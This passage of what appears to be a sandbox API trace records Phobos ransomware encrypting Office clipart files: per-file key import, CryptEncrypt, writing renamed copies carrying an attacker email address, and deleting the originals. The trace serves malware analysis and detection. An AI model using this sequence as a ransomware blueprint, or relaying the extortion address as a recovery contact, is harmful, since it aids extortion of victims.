"c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.413] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.413] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0056.414] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf70) returned 1 [0056.414] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.414] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x127e, lpOverlapped=0x0) returned 1 [0056.416] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1280, dwBufLen=0x1280 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1280) returned 1 [0056.416] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1280, lpOverlapped=0x0) returned 1 [0056.417] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d0f0) returned 1 [0056.417] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.417] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0056.417] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0056.417] WriteFile (in: hFile=0x2e4, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0056.417] CryptDestroyKey (hKey=0x10cf70) returned 1 [0056.418] CloseHandle (hObject=0x31c) returned 1 [0056.418] CloseHandle (hObject=0x2e4) returned 1 [0056.418] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0056.419] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0056.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0056.423] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=5684) returned 1 [0056.423] CloseHandle (hObject=0x308) returned 1 [0056.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220 [0056.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0056.424] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.424] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0056.425] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cb30) returned 1 [0056.425] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.425] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1634, lpOverlapped=0x0) returned 1 [0056.428] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1640, dwBufLen=0x1640 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1640) returned 1 [0056.428] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1640, lpOverlapped=0x0) returned 1 [0056.429] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ccb0) returned 1 [0056.429] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.429] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0056.429] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0056.429] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0056.429] CryptDestroyKey (hKey=0x10cb30) returned 1 [0056.430] CloseHandle (hObject=0x308) returned 1 [0056.430] CloseHandle (hObject=0x320) returned 1 [0056.430] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0056.431] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0056.431] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0056.432] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=10832) returned 1 [0056.432] CloseHandle (hObject=0x320) returned 1 [0056.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220 [0056.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0056.432] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.432] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0056.432] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cab0) returned 1 [0056.432] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.432] ReadFile (in: hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x2a50, lpOverlapped=0x0) returned 1 [0056.446] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2a60, dwBufLen=0x2a60 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x2a60) returned 1 [0056.446] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x2a60, lpOverlapped=0x0) returned 1 [0056.447] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ccb0) returned 1 [0056.447] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.447] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0056.447] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0056.447] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0056.447] CryptDestroyKey (hKey=0x10cab0) returned 1 [0056.447] CloseHandle (hObject=0x320) returned 1 [0056.447] CloseHandle (hObject=0x308) returned 1 [0056.448] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0056.449] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0056.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0056.449] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=7072) returned 1 [0056.449] CloseHandle (hObject=0x308) returned 1 [0056.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220 [0056.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0056.450] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.450] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0056.450] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cab0) returned 1 [0056.450] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.450] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1ba0, lpOverlapped=0x0) returned 1 [0057.372] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1bb0, dwBufLen=0x1bb0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1bb0) returned 1 [0057.372] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1bb0, lpOverlapped=0x0) returned 1 [0057.373] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d0b0) returned 1 [0057.373] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.373] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0057.373] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0057.373] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0057.373] CryptDestroyKey (hKey=0x10cab0) returned 1 [0057.373] CloseHandle (hObject=0x308) returned 1 [0057.373] CloseHandle (hObject=0x320) returned 1 [0057.374] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0057.375] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0057.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.376] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=26332) returned 1 [0057.376] CloseHandle (hObject=0x320) returned 1 [0057.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220 [0057.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.376] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.376] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.377] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d1b0) returned 1 [0057.377] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.377] ReadFile (in: hFile=0x320, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x66dc, lpOverlapped=0x0) returned 1 [0057.429] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x66e0, dwBufLen=0x66e0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x66e0) returned 1 [0057.429] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x66e0, lpOverlapped=0x0) returned 1 [0057.430] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ce30) returned 1 [0057.430] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.430] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0057.430] CryptDestroyKey (hKey=0x10ce30) returned 1 [0057.430] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0057.430] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0057.430] CloseHandle (hObject=0x320) returned 1 [0057.431] CloseHandle (hObject=0x308) returned 1 [0057.432] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0057.433] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0057.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.433] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=27858) returned 1 [0057.433] CloseHandle (hObject=0x308) returned 1 [0057.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0057.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.433] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.433] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0057.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0057.434] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cfb0) returned 1 [0057.434] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.434] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x6cd2, lpOverlapped=0x0) returned 1 [0057.435] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x6ce0, dwBufLen=0x6ce0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x6ce0) returned 1 [0057.435] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x6ce0, lpOverlapped=0x0) returned 1 [0057.436] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cab0) returned 1 [0057.436] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0057.436] CryptEncrypt (in: 